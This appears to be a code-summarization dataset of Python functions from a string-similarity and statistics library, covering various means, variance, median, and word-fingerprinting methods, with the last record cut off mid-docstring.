{"signature": "def cmean(nums):", "body": "return sum(x ** <NUM_LIT:2> for x in nums) / sum(nums)<EOL>", "docstring": "r\"\"\"Return contraharmonic mean.\n\n    The contraharmonic mean is:\n    :math:`\\frac{\\sum\\limits_i x_i^2}{\\sum\\limits_i x_i}`\n\n    Cf. https://en.wikipedia.org/wiki/Contraharmonic_mean\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    float\n        The contraharmonic mean of nums\n\n    Examples\n    --------\n    >>> cmean([1, 2, 3, 4])\n    3.0\n    >>> cmean([1, 2])\n    1.6666666666666667\n    >>> cmean([0, 5, 1000])\n    995.0497512437811", "id": "f6663:m4"}
{"signature": "def lmean(nums):", "body": "if len(nums) != len(set(nums)):<EOL><INDENT>raise AttributeError('<STR_LIT>')<EOL><DEDENT>rolling_sum = <NUM_LIT:0><EOL>for i in range(len(nums)):<EOL><INDENT>rolling_prod = <NUM_LIT:1><EOL>for j in range(len(nums)):<EOL><INDENT>if i != j:<EOL><INDENT>rolling_prod *= math.log(nums[i] / nums[j])<EOL><DEDENT><DEDENT>rolling_sum += nums[i] / rolling_prod<EOL><DEDENT>return math.factorial(len(nums) - <NUM_LIT:1>) * rolling_sum<EOL>", "docstring": "r\"\"\"Return logarithmic mean.\n\n    The logarithmic mean of an arbitrarily long series is defined by\n    http://www.survo.fi/papers/logmean.pdf\n    as:\n    :math:`L(x_1, x_2, ..., x_n) =\n    (n-1)! \\sum\\limits_{i=1}^n \\frac{x_i}\n    {\\prod\\limits_{\\substack{j = 1\\\\j \\ne i}}^n\n    ln \\frac{x_i}{x_j}}`\n\n    Cf. https://en.wikipedia.org/wiki/Logarithmic_mean\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    float\n        The logarithmic mean of nums\n\n    Raises\n    ------\n    AttributeError\n        No two values in the nums list may be equal\n\n    Examples\n    --------\n    >>> lmean([1, 2, 3, 4])\n    2.2724242417489258\n    >>> lmean([1, 2])\n    1.4426950408889634", "id": "f6663:m5"}
{"signature": "def imean(nums):", "body": "if len(nums) == <NUM_LIT:1>:<EOL><INDENT>return nums[<NUM_LIT:0>]<EOL><DEDENT>if len(nums) > <NUM_LIT:2>:<EOL><INDENT>raise AttributeError('<STR_LIT>')<EOL><DEDENT>if nums[<NUM_LIT:0>] <= <NUM_LIT:0> or nums[<NUM_LIT:1>] <= <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>elif nums[<NUM_LIT:0>] == nums[<NUM_LIT:1>]:<EOL><INDENT>return nums[<NUM_LIT:0>]<EOL><DEDENT>return (<NUM_LIT:1> / math.e) * (nums[<NUM_LIT:0>] ** nums[<NUM_LIT:0>] / nums[<NUM_LIT:1>] ** nums[<NUM_LIT:1>]) ** (<EOL><NUM_LIT:1> / (nums[<NUM_LIT:0>] - nums[<NUM_LIT:1>])<EOL>)<EOL>", "docstring": "r\"\"\"Return identric (exponential) mean.\n\n    The identric mean of two numbers x and y is:\n    x if x = y\n    otherwise :math:`\\frac{1}{e} \\sqrt[x-y]{\\frac{x^x}{y^y}}`\n\n    Cf. https://en.wikipedia.org/wiki/Identric_mean\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    float\n        The identric mean of nums\n\n    Raises\n    ------\n    AttributeError\n        imean supports no more than two values\n\n    Examples\n    --------\n    >>> imean([1, 2])\n    1.4715177646857693\n    >>> imean([1, 0])\n    nan\n    >>> imean([2, 4])\n    2.9430355293715387", "id": "f6663:m6"}
{"signature": "def seiffert_mean(nums):", "body": "if len(nums) == <NUM_LIT:1>:<EOL><INDENT>return nums[<NUM_LIT:0>]<EOL><DEDENT>if len(nums) > <NUM_LIT:2>:<EOL><INDENT>raise AttributeError('<STR_LIT>')<EOL><DEDENT>if nums[<NUM_LIT:0>] + nums[<NUM_LIT:1>] == <NUM_LIT:0> or nums[<NUM_LIT:0>] - nums[<NUM_LIT:1>] == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>return (nums[<NUM_LIT:0>] - nums[<NUM_LIT:1>]) / (<EOL><NUM_LIT:2> * math.asin((nums[<NUM_LIT:0>] - nums[<NUM_LIT:1>]) / (nums[<NUM_LIT:0>] + nums[<NUM_LIT:1>]))<EOL>)<EOL>", "docstring": "r\"\"\"Return Seiffert's mean.\n\n    Seiffert's mean of two numbers x and y is:\n    :math:`\\frac{x - y}{4 \\cdot arctan \\sqrt{\\frac{x}{y}} - \\pi}`\n\n    It is defined in :cite:`Seiffert:1993`.\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    float\n        Sieffert's mean of nums\n\n    Raises\n    ------\n    AttributeError\n        seiffert_mean supports no more than two values\n\n    Examples\n    --------\n    >>> seiffert_mean([1, 2])\n    1.4712939827611637\n    >>> seiffert_mean([1, 0])\n    0.3183098861837907\n    >>> seiffert_mean([2, 4])\n    2.9425879655223275\n    >>> seiffert_mean([2, 1000])\n    336.84053300118825", "id": "f6663:m7"}
{"signature": "def lehmer_mean(nums, exp=<NUM_LIT:2>):", "body": "return sum(x ** exp for x in nums) / sum(x ** (exp - <NUM_LIT:1>) for x in nums)<EOL>", "docstring": "r\"\"\"Return Lehmer mean.\n\n    The Lehmer mean is:\n    :math:`\\frac{\\sum\\limits_i{x_i^p}}{\\sum\\limits_i{x_i^(p-1)}}`\n\n    Cf. https://en.wikipedia.org/wiki/Lehmer_mean\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n    exp : numeric\n        The exponent of the Lehmer mean\n\n    Returns\n    -------\n    float\n        The Lehmer mean of nums for the given exponent\n\n    Examples\n    --------\n    >>> lehmer_mean([1, 2, 3, 4])\n    3.0\n    >>> lehmer_mean([1, 2])\n    1.6666666666666667\n    >>> lehmer_mean([0, 5, 1000])\n    995.0497512437811", "id": "f6663:m8"}
{"signature": "def heronian_mean(nums):", "body": "mag = len(nums)<EOL>rolling_sum = <NUM_LIT:0><EOL>for i in range(mag):<EOL><INDENT>for j in range(i, mag):<EOL><INDENT>if nums[i] == nums[j]:<EOL><INDENT>rolling_sum += nums[i]<EOL><DEDENT>else:<EOL><INDENT>rolling_sum += (nums[i] * nums[j]) ** <NUM_LIT:0.5><EOL><DEDENT><DEDENT><DEDENT>return rolling_sum * <NUM_LIT:2> / (mag * (mag + <NUM_LIT:1>))<EOL>", "docstring": "r\"\"\"Return Heronian mean.\n\n    The Heronian mean is:\n    :math:`\\frac{\\sum\\limits_{i, j}\\sqrt{{x_i \\cdot x_j}}}\n    {|nums| \\cdot \\frac{|nums| + 1}{2}}`\n    for :math:`j \\ge i`\n\n    Cf. https://en.wikipedia.org/wiki/Heronian_mean\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    float\n        The Heronian mean of nums\n\n    Examples\n    --------\n    >>> heronian_mean([1, 2, 3, 4])\n    2.3888282852609093\n    >>> heronian_mean([1, 2])\n    1.4714045207910316\n    >>> heronian_mean([0, 5, 1000])\n    179.28511301977582", "id": "f6663:m9"}
{"signature": "def hoelder_mean(nums, exp=<NUM_LIT:2>):", "body": "if exp == <NUM_LIT:0>:<EOL><INDENT>return gmean(nums)<EOL><DEDENT>return ((<NUM_LIT:1> / len(nums)) * sum(i ** exp for i in nums)) ** (<NUM_LIT:1> / exp)<EOL>", "docstring": "r\"\"\"Return H\u00f6lder (power/generalized) mean.\n\n    The H\u00f6lder mean is defined as:\n    :math:`\\sqrt[p]{\\frac{1}{|nums|} \\cdot \\sum\\limits_i{x_i^p}}`\n    for :math:`p \\ne 0`, and the geometric mean for :math:`p = 0`\n\n    Cf. https://en.wikipedia.org/wiki/Generalized_mean\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n    exp : numeric\n        The exponent of the H\u00f6lder mean\n\n    Returns\n    -------\n    float\n        The H\u00f6lder mean of nums for the given exponent\n\n    Examples\n    --------\n    >>> hoelder_mean([1, 2, 3, 4])\n    2.7386127875258306\n    >>> hoelder_mean([1, 2])\n    1.5811388300841898\n    >>> hoelder_mean([0, 5, 1000])\n    577.3574860228857", "id": "f6663:m10"}
{"signature": "def agmean(nums):", "body": "m_a = amean(nums)<EOL>m_g = gmean(nums)<EOL>if math.isnan(m_a) or math.isnan(m_g):<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>while round(m_a, <NUM_LIT:12>) != round(m_g, <NUM_LIT:12>):<EOL><INDENT>m_a, m_g = (m_a + m_g) / <NUM_LIT:2>, (m_a * m_g) ** (<NUM_LIT:1> / <NUM_LIT:2>)<EOL><DEDENT>return m_a<EOL>", "docstring": "Return arithmetic-geometric mean.\n\n    Iterates between arithmetic & geometric means until they converge to\n    a single value (rounded to 12 digits).\n\n    Cf. https://en.wikipedia.org/wiki/Arithmetic-geometric_mean\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    float\n        The arithmetic-geometric mean of nums\n\n    Examples\n    --------\n    >>> agmean([1, 2, 3, 4])\n    2.3545004777751077\n    >>> agmean([1, 2])\n    1.4567910310469068\n    >>> agmean([0, 5, 1000])\n    2.9753977059954195e-13", "id": "f6663:m11"}
{"signature": "def ghmean(nums):", "body": "m_g = gmean(nums)<EOL>m_h = hmean(nums)<EOL>if math.isnan(m_g) or math.isnan(m_h):<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>while round(m_h, <NUM_LIT:12>) != round(m_g, <NUM_LIT:12>):<EOL><INDENT>m_g, m_h = (m_g * m_h) ** (<NUM_LIT:1> / <NUM_LIT:2>), (<NUM_LIT:2> * m_g * m_h) / (m_g + m_h)<EOL><DEDENT>return m_g<EOL>", "docstring": "Return geometric-harmonic mean.\n\n    Iterates between geometric & harmonic means until they converge to\n    a single value (rounded to 12 digits).\n\n    Cf. https://en.wikipedia.org/wiki/Geometric-harmonic_mean\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    float\n        The geometric-harmonic mean of nums\n\n    Examples\n    --------\n    >>> ghmean([1, 2, 3, 4])\n    2.058868154613003\n    >>> ghmean([1, 2])\n    1.3728805006183502\n    >>> ghmean([0, 5, 1000])\n    0.0\n\n    >>> ghmean([0, 0])\n    0.0\n    >>> ghmean([0, 0, 5])\n    nan", "id": "f6663:m12"}
{"signature": "def aghmean(nums):", "body": "m_a = amean(nums)<EOL>m_g = gmean(nums)<EOL>m_h = hmean(nums)<EOL>if math.isnan(m_a) or math.isnan(m_g) or math.isnan(m_h):<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>while round(m_a, <NUM_LIT:12>) != round(m_g, <NUM_LIT:12>) and round(m_g, <NUM_LIT:12>) != round(<EOL>m_h, <NUM_LIT:12><EOL>):<EOL><INDENT>m_a, m_g, m_h = (<EOL>(m_a + m_g + m_h) / <NUM_LIT:3>,<EOL>(m_a * m_g * m_h) ** (<NUM_LIT:1> / <NUM_LIT:3>),<EOL><NUM_LIT:3> / (<NUM_LIT:1> / m_a + <NUM_LIT:1> / m_g + <NUM_LIT:1> / m_h),<EOL>)<EOL><DEDENT>return m_a<EOL>", "docstring": "Return arithmetic-geometric-harmonic mean.\n\n    Iterates over arithmetic, geometric, & harmonic means until they\n    converge to a single value (rounded to 12 digits), following the\n    method described in :cite:`Raissouli:2009`.\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    float\n        The arithmetic-geometric-harmonic mean of nums\n\n    Examples\n    --------\n    >>> aghmean([1, 2, 3, 4])\n    2.198327159900212\n    >>> aghmean([1, 2])\n    1.4142135623731884\n    >>> aghmean([0, 5, 1000])\n    335.0", "id": "f6663:m13"}
{"signature": "def midrange(nums):", "body": "return <NUM_LIT:0.5> * (max(nums) + min(nums))<EOL>", "docstring": "Return midrange.\n\n    The midrange is the arithmetic mean of the maximum & minimum of a series.\n\n    Cf. https://en.wikipedia.org/wiki/Midrange\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    float\n        The midrange of nums\n\n    Examples\n    --------\n    >>> midrange([1, 2, 3])\n    2.0\n    >>> midrange([1, 2, 2, 3])\n    2.0\n    >>> midrange([1, 2, 1000, 3])\n    500.5", "id": "f6663:m14"}
{"signature": "def median(nums):", "body": "nums = sorted(nums)<EOL>mag = len(nums)<EOL>if mag % <NUM_LIT:2>:<EOL><INDENT>mag = int((mag - <NUM_LIT:1>) / <NUM_LIT:2>)<EOL>return nums[mag]<EOL><DEDENT>mag = int(mag / <NUM_LIT:2>)<EOL>med = (nums[mag - <NUM_LIT:1>] + nums[mag]) / <NUM_LIT:2><EOL>return med if not med.is_integer() else int(med)<EOL>", "docstring": "Return median.\n\n    With numbers sorted by value, the median is the middle value (if there is\n    an odd number of values) or the arithmetic mean of the two middle values\n    (if there is an even number of values).\n\n    Cf. https://en.wikipedia.org/wiki/Median\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    int or float\n        The median of nums\n\n    Examples\n    --------\n    >>> median([1, 2, 3])\n    2\n    >>> median([1, 2, 3, 4])\n    2.5\n    >>> median([1, 2, 2, 4])\n    2", "id": "f6663:m15"}
{"signature": "def mode(nums):", "body": "return Counter(nums).most_common(<NUM_LIT:1>)[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>", "docstring": "Return the mode.\n\n    The mode of a series is the most common element of that series\n\n    Cf. https://en.wikipedia.org/wiki/Mode_(statistics)\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    int or float\n        The mode of nums\n\n    Example\n    -------\n    >>> mode([1, 2, 2, 3])\n    2", "id": "f6663:m16"}
{"signature": "def var(nums, mean_func=amean, ddof=<NUM_LIT:0>):", "body": "x_bar = mean_func(nums)<EOL>return sum((x - x_bar) ** <NUM_LIT:2> for x in nums) / (len(nums) - ddof)<EOL>", "docstring": "r\"\"\"Calculate the variance.\n\n    The variance (:math:`\\sigma^2`) of a series of numbers (:math:`x_i`) with\n    mean :math:`\\mu` and population :math:`N` is:\n\n    :math:`\\sigma^2 = \\frac{1}{N}\\sum_{i=1}^{N}(x_i-\\mu)^2`.\n\n    Cf. https://en.wikipedia.org/wiki/Variance\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n    mean_func : function\n        A mean function (amean by default)\n    ddof : int\n        The degrees of freedom (0 by default)\n\n    Returns\n    -------\n    float\n        The variance of the values in the series\n\n    Examples\n    --------\n    >>> var([1, 1, 1, 1])\n    0.0\n    >>> var([1, 2, 3, 4])\n    1.25\n    >>> round(var([1, 2, 3, 4], ddof=1), 12)\n    1.666666666667", "id": "f6663:m17"}
{"signature": "def std(nums, mean_func=amean, ddof=<NUM_LIT:0>):", "body": "return var(nums, mean_func, ddof) ** <NUM_LIT:0.5><EOL>", "docstring": "Return the standard deviation.\n\n    The standard deviation of a series of values is the square root of the\n    variance.\n\n    Cf. https://en.wikipedia.org/wiki/Standard_deviation\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n    mean_func : function\n        A mean function (amean by default)\n    ddof : int\n        The degrees of freedom (0 by default)\n\n    Returns\n    -------\n    float\n        The standard deviation of the values in the series\n\n    Examples\n    --------\n    >>> std([1, 1, 1, 1])\n    0.0\n    >>> round(std([1, 2, 3, 4]), 12)\n    1.11803398875\n    >>> round(std([1, 2, 3, 4], ddof=1), 12)\n    1.290994448736", "id": "f6663:m18"}
{"signature": "def mean_pairwise_similarity(<EOL>collection, metric=sim, mean_func=hmean, symmetric=False<EOL>):", "body": "if not callable(mean_func):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not callable(metric):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if hasattr(collection, '<STR_LIT>'):<EOL><INDENT>collection = collection.split()<EOL><DEDENT>if not hasattr(collection, '<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>elif len(collection) < <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>collection = list(collection)<EOL>pairwise_values = []<EOL>for i in range(len(collection)):<EOL><INDENT>for j in range(i + <NUM_LIT:1>, len(collection)):<EOL><INDENT>pairwise_values.append(metric(collection[i], collection[j]))<EOL>if symmetric:<EOL><INDENT>pairwise_values.append(metric(collection[j], collection[i]))<EOL><DEDENT><DEDENT><DEDENT>return mean_func(pairwise_values)<EOL>", "docstring": "Calculate the mean pairwise similarity of a collection of strings.\n\n    Takes the mean of the pairwise similarity between each member of a\n    collection, optionally in both directions (for asymmetric similarity\n    metrics.\n\n    Parameters\n    ----------\n    collection : list\n        A collection of terms or a string that can be split\n    metric : function\n        A similarity metric function\n    mean_func : function\n        A mean function that takes a list of values and returns a float\n    symmetric : bool\n        Set to True if all pairwise similarities should be calculated in both\n        directions\n\n    Returns\n    -------\n    float\n        The mean pairwise similarity of a collection of strings\n\n    Raises\n    ------\n    ValueError\n        mean_func must be a function\n    ValueError\n        metric must be a function\n    ValueError\n        collection is neither a string nor iterable type\n    ValueError\n        collection has fewer than two members\n\n    Examples\n    --------\n    >>> round(mean_pairwise_similarity(['Christopher', 'Kristof',\n    ... 'Christobal']), 12)\n    0.519801980198\n    >>> round(mean_pairwise_similarity(['Niall', 'Neal', 'Neil']), 12)\n    0.545454545455", "id": "f6665:m0"}
{"signature": "def pairwise_similarity_statistics(<EOL>src_collection,<EOL>tar_collection,<EOL>metric=sim,<EOL>mean_func=amean,<EOL>symmetric=False,<EOL>):", "body": "if not callable(mean_func):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not callable(metric):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if hasattr(src_collection, '<STR_LIT>'):<EOL><INDENT>src_collection = src_collection.split()<EOL><DEDENT>if not hasattr(src_collection, '<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if hasattr(tar_collection, '<STR_LIT>'):<EOL><INDENT>tar_collection = tar_collection.split()<EOL><DEDENT>if not hasattr(tar_collection, '<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>src_collection = list(src_collection)<EOL>tar_collection = list(tar_collection)<EOL>pairwise_values = []<EOL>for src in src_collection:<EOL><INDENT>for tar in tar_collection:<EOL><INDENT>pairwise_values.append(metric(src, tar))<EOL>if symmetric:<EOL><INDENT>pairwise_values.append(metric(tar, src))<EOL><DEDENT><DEDENT><DEDENT>return (<EOL>max(pairwise_values),<EOL>min(pairwise_values),<EOL>mean_func(pairwise_values),<EOL>std(pairwise_values, mean_func, <NUM_LIT:0>),<EOL>)<EOL>", "docstring": "Calculate the pairwise similarity statistics a collection of strings.\n\n    Calculate pairwise similarities among members of two collections,\n    returning the maximum, minimum, mean (according to a supplied function,\n    arithmetic mean, by default), and (population) standard deviation\n    of those similarities.\n\n    Parameters\n    ----------\n    src_collection : list\n        A collection of terms or a string that can be split\n    tar_collection : list\n        A collection of terms or a string that can be split\n    metric : function\n        A similarity metric function\n    mean_func : function\n        A mean function that takes a list of values and returns a float\n    symmetric : bool\n        Set to True if all pairwise similarities should be calculated in both\n        directions\n\n    Returns\n    -------\n    tuple\n        The max, min, mean, and standard deviation of similarities\n\n    Raises\n    ------\n    ValueError\n        mean_func must be a function\n    ValueError\n        metric must be a function\n    ValueError\n        src_collection is neither a string nor iterable\n    ValueError\n        tar_collection is neither a string nor iterable\n\n    Example\n    -------\n    >>> tuple(round(_, 12) for _ in pairwise_similarity_statistics(\n    ... ['Christopher', 'Kristof', 'Christobal'], ['Niall', 'Neal', 'Neil']))\n    (0.2, 0.0, 0.118614718615, 0.075070477184)", "id": "f6665:m1"}
{"signature": "def omission_key(word):", "body": "return OmissionKey().fingerprint(word)<EOL>", "docstring": "Return the omission key.\n\n    This is a wrapper for :py:meth:`OmissionKey.fingerprint`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform into its omission key\n\n    Returns\n    -------\n    str\n        The omission key\n\n    Examples\n    --------\n    >>> omission_key('The quick brown fox jumped over the lazy dog.')\n    'JKQXZVWYBFMGPDHCLNTREUIOA'\n    >>> omission_key('Christopher')\n    'PHCTSRIOE'\n    >>> omission_key('Niall')\n    'LNIA'", "id": "f6666:m0"}
{"signature": "def fingerprint(self, word):", "body": "word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._letters)<EOL>key = '<STR_LIT>'<EOL>for char in self._consonants:<EOL><INDENT>if char in word:<EOL><INDENT>key += char<EOL><DEDENT><DEDENT>for char in word:<EOL><INDENT>if char not in self._consonants and char not in key:<EOL><INDENT>key += char<EOL><DEDENT><DEDENT>return key<EOL>", "docstring": "Return the omission key.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform into its omission key\n\n        Returns\n        -------\n        str\n            The omission key\n\n        Examples\n        --------\n        >>> ok = OmissionKey()\n        >>> ok.fingerprint('The quick brown fox jumped over the lazy dog.')\n        'JKQXZVWYBFMGPDHCLNTREUIOA'\n        >>> ok.fingerprint('Christopher')\n        'PHCTSRIOE'\n        >>> ok.fingerprint('Niall')\n        'LNIA'", "id": "f6666:c0:m0"}
{"signature": "def count_fingerprint(word, n_bits=<NUM_LIT:16>, most_common=MOST_COMMON_LETTERS_CG):", "body": "return Count().fingerprint(word, n_bits, most_common)<EOL>", "docstring": "Return the count fingerprint.\n\n    This is a wrapper for :py:meth:`Count.fingerprint`.\n\n    Parameters\n    ----------\n    word : str\n        The word to fingerprint\n    n_bits : int\n        Number of bits in the fingerprint returned\n    most_common : list\n        The most common tokens in the target language, ordered by frequency\n\n    Returns\n    -------\n    int\n        The count fingerprint\n\n    Examples\n    --------\n    >>> bin(count_fingerprint('hat'))\n    '0b1010000000001'\n    >>> bin(count_fingerprint('niall'))\n    '0b10001010000'\n    >>> bin(count_fingerprint('colin'))\n    '0b101010000'\n    >>> bin(count_fingerprint('atcg'))\n    '0b1010000000000'\n    >>> bin(count_fingerprint('entreatment'))\n    '0b1111010000100000'", "id": "f6667:m0"}
{"signature": "def fingerprint(self, word, n_bits=<NUM_LIT:16>, most_common=MOST_COMMON_LETTERS_CG):", "body": "if n_bits % <NUM_LIT:2>:<EOL><INDENT>n_bits += <NUM_LIT:1><EOL><DEDENT>word = Counter(word)<EOL>fingerprint = <NUM_LIT:0><EOL>for letter in most_common:<EOL><INDENT>if n_bits:<EOL><INDENT>fingerprint <<= <NUM_LIT:2><EOL>fingerprint += word[letter] & <NUM_LIT:3><EOL>n_bits -= <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if n_bits:<EOL><INDENT>fingerprint <<= n_bits<EOL><DEDENT>return fingerprint<EOL>", "docstring": "Return the count fingerprint.\n\n        Parameters\n        ----------\n        word : str\n            The word to fingerprint\n        n_bits : int\n            Number of bits in the fingerprint returned\n        most_common : list\n            The most common tokens in the target language, ordered by frequency\n\n        Returns\n        -------\n        int\n            The count fingerprint\n\n        Examples\n        --------\n        >>> cf = Count()\n        >>> bin(cf.fingerprint('hat'))\n        '0b1010000000001'\n        >>> bin(cf.fingerprint('niall'))\n        '0b10001010000'\n        >>> bin(cf.fingerprint('colin'))\n        '0b101010000'\n        >>> bin(cf.fingerprint('atcg'))\n        '0b1010000000000'\n        >>> bin(cf.fingerprint('entreatment'))\n        '0b1111010000100000'", "id": "f6667:c0:m0"}
{"signature": "def position_fingerprint(<EOL>word, n_bits=<NUM_LIT:16>, most_common=MOST_COMMON_LETTERS_CG, bits_per_letter=<NUM_LIT:3><EOL>):", "body": "return Position().fingerprint(word, n_bits, most_common, bits_per_letter)<EOL>", "docstring": "Return the position fingerprint.\n\n    This is a wrapper for :py:meth:`Position.fingerprint`.\n\n    Parameters\n    ----------\n    word : str\n        The word to fingerprint\n    n_bits : int\n        Number of bits in the fingerprint returned\n    most_common : list\n        The most common tokens in the target language, ordered by frequency\n    bits_per_letter : int\n        The bits to assign for letter position\n\n    Returns\n    -------\n    int\n        The position fingerprint\n\n    Examples\n    --------\n    >>> bin(position_fingerprint('hat'))\n    '0b1110100011111111'\n    >>> bin(position_fingerprint('niall'))\n    '0b1111110101110010'\n    >>> bin(position_fingerprint('colin'))\n    '0b1111111110010111'\n    >>> bin(position_fingerprint('atcg'))\n    '0b1110010001111111'\n    >>> bin(position_fingerprint('entreatment'))\n    '0b101011111111'", "id": "f6668:m0"}
{"signature": "def fingerprint(<EOL>self,<EOL>word,<EOL>n_bits=<NUM_LIT:16>,<EOL>most_common=MOST_COMMON_LETTERS_CG,<EOL>bits_per_letter=<NUM_LIT:3>,<EOL>):", "body": "position = {}<EOL>for pos, letter in enumerate(word):<EOL><INDENT>if letter not in position and letter in most_common:<EOL><INDENT>position[letter] = min(pos, <NUM_LIT:2> ** bits_per_letter - <NUM_LIT:1>)<EOL><DEDENT><DEDENT>fingerprint = <NUM_LIT:0><EOL>for letter in most_common:<EOL><INDENT>if n_bits:<EOL><INDENT>fingerprint <<= min(bits_per_letter, n_bits)<EOL>if letter in position:<EOL><INDENT>fingerprint += min(position[letter], <NUM_LIT:2> ** n_bits - <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>fingerprint += min(<EOL><NUM_LIT:2> ** bits_per_letter - <NUM_LIT:1>, <NUM_LIT:2> ** n_bits - <NUM_LIT:1><EOL>)<EOL><DEDENT>n_bits -= min(bits_per_letter, n_bits)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>for _ in range(n_bits):<EOL><INDENT>fingerprint <<= <NUM_LIT:1><EOL>fingerprint += <NUM_LIT:1><EOL><DEDENT>return fingerprint<EOL>", "docstring": "Return the position fingerprint.\n\n        Parameters\n        ----------\n        word : str\n            The word to fingerprint\n        n_bits : int\n            Number of bits in the fingerprint returned\n        most_common : list\n            The most common tokens in the target language, ordered by frequency\n        bits_per_letter : int\n            The bits to assign for letter position\n\n        Returns\n        -------\n        int\n            The position fingerprint\n\n        Examples\n        --------\n        >>> bin(position_fingerprint('hat'))\n        '0b1110100011111111'\n        >>> bin(position_fingerprint('niall'))\n        '0b1111110101110010'\n        >>> bin(position_fingerprint('colin'))\n        '0b1111111110010111'\n        >>> bin(position_fingerprint('atcg'))\n        '0b1110010001111111'\n        >>> bin(position_fingerprint('entreatment'))\n        '0b101011111111'", "id": "f6668:c0:m0"}
{"signature": "def str_fingerprint(phrase, joiner='<STR_LIT:U+0020>'):", "body": "return String().fingerprint(phrase, joiner)<EOL>", "docstring": "Return string fingerprint.\n\n    This is a wrapper for :py:meth:`String.fingerprint`.\n\n    Parameters\n    ----------\n    phrase : str\n        The string from which to calculate the fingerprint\n    joiner : str\n        The string that will be placed between each word\n\n    Returns\n    -------\n    str\n        The fingerprint of the phrase\n\n    Example\n    -------\n    >>> str_fingerprint('The quick brown fox jumped over the lazy dog.')\n    'brown dog fox jumped lazy over quick the'", "id": "f6669:m0"}
{"signature": "def fingerprint(self, phrase, joiner='<STR_LIT:U+0020>'):", "body": "phrase = unicode_normalize('<STR_LIT>', text_type(phrase.strip().lower()))<EOL>phrase = '<STR_LIT>'.join([c for c in phrase if c.isalnum() or c.isspace()])<EOL>phrase = joiner.join(sorted(list(set(phrase.split()))))<EOL>return phrase<EOL>", "docstring": "Return string fingerprint.\n\n        Parameters\n        ----------\n        phrase : str\n            The string from which to calculate the fingerprint\n        joiner : str\n            The string that will be placed between each word\n\n        Returns\n        -------\n        str\n            The fingerprint of the phrase\n\n        Example\n        -------\n        >>> sf = String()\n        >>> sf.fingerprint('The quick brown fox jumped over the lazy dog.')\n        'brown dog fox jumped lazy over quick the'", "id": "f6669:c0:m0"}
{"signature": "def occurrence_fingerprint(<EOL>word, n_bits=<NUM_LIT:16>, most_common=MOST_COMMON_LETTERS_CG<EOL>):", "body": "return Occurrence().fingerprint(word, n_bits, most_common)<EOL>", "docstring": "Return the occurrence fingerprint.\n\n    This is a wrapper for :py:meth:`Occurrence.fingerprint`.\n\n    Parameters\n    ----------\n    word : str\n        The word to fingerprint\n    n_bits : int\n        Number of bits in the fingerprint returned\n    most_common : list\n        The most common tokens in the target language, ordered by frequency\n\n    Returns\n    -------\n    int\n        The occurrence fingerprint\n\n    Examples\n    --------\n    >>> bin(occurrence_fingerprint('hat'))\n    '0b110000100000000'\n    >>> bin(occurrence_fingerprint('niall'))\n    '0b10110000100000'\n    >>> bin(occurrence_fingerprint('colin'))\n    '0b1110000110000'\n    >>> bin(occurrence_fingerprint('atcg'))\n    '0b110000000010000'\n    >>> bin(occurrence_fingerprint('entreatment'))\n    '0b1110010010000100'", "id": "f6670:m0"}
{"signature": "def fingerprint(self, word, n_bits=<NUM_LIT:16>, most_common=MOST_COMMON_LETTERS_CG):", "body": "word = set(word)<EOL>fingerprint = <NUM_LIT:0><EOL>for letter in most_common:<EOL><INDENT>if letter in word:<EOL><INDENT>fingerprint += <NUM_LIT:1><EOL><DEDENT>n_bits -= <NUM_LIT:1><EOL>if n_bits:<EOL><INDENT>fingerprint <<= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>n_bits -= <NUM_LIT:1><EOL>if n_bits > <NUM_LIT:0>:<EOL><INDENT>fingerprint <<= n_bits<EOL><DEDENT>return fingerprint<EOL>", "docstring": "Return the occurrence fingerprint.\n\n        Parameters\n        ----------\n        word : str\n            The word to fingerprint\n        n_bits : int\n            Number of bits in the fingerprint returned\n        most_common : list\n            The most common tokens in the target language, ordered by frequency\n\n        Returns\n        -------\n        int\n            The occurrence fingerprint\n\n        Examples\n        --------\n        >>> of = Occurrence()\n        